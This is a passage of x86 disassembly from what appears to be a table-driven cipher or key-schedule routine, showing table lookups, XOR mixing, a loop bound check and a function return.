mov edi, dword [edi*4 + 0x454eb8]
mov esi, ecx
shr esi, 0x18
mov esi, dword [esi*4 + 0x454eb8]
and esi, 0xff
mov esi, dword [esi*4 + 0x455ab8]
and edi, 0xff
xor esi, dword [edi*4 + 0x4562b8]
movzx edi, byte [eax + 0xc]
mov edi, dword [edi*4 + 0x454eb8]
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x454eb8]
and edi, 0xff
xor esi, dword [edi*4 + 0x455eb8]
and ecx, 0xff
xor esi, dword [ecx*4 + 0x4566b8]
inc edx
mov dword [eax + 0xa], esi
cmp edx, dword [ebx + 0xf0]
jl 0x407981
pop edi
xor eax, eax
pop esi
pop ebx
ret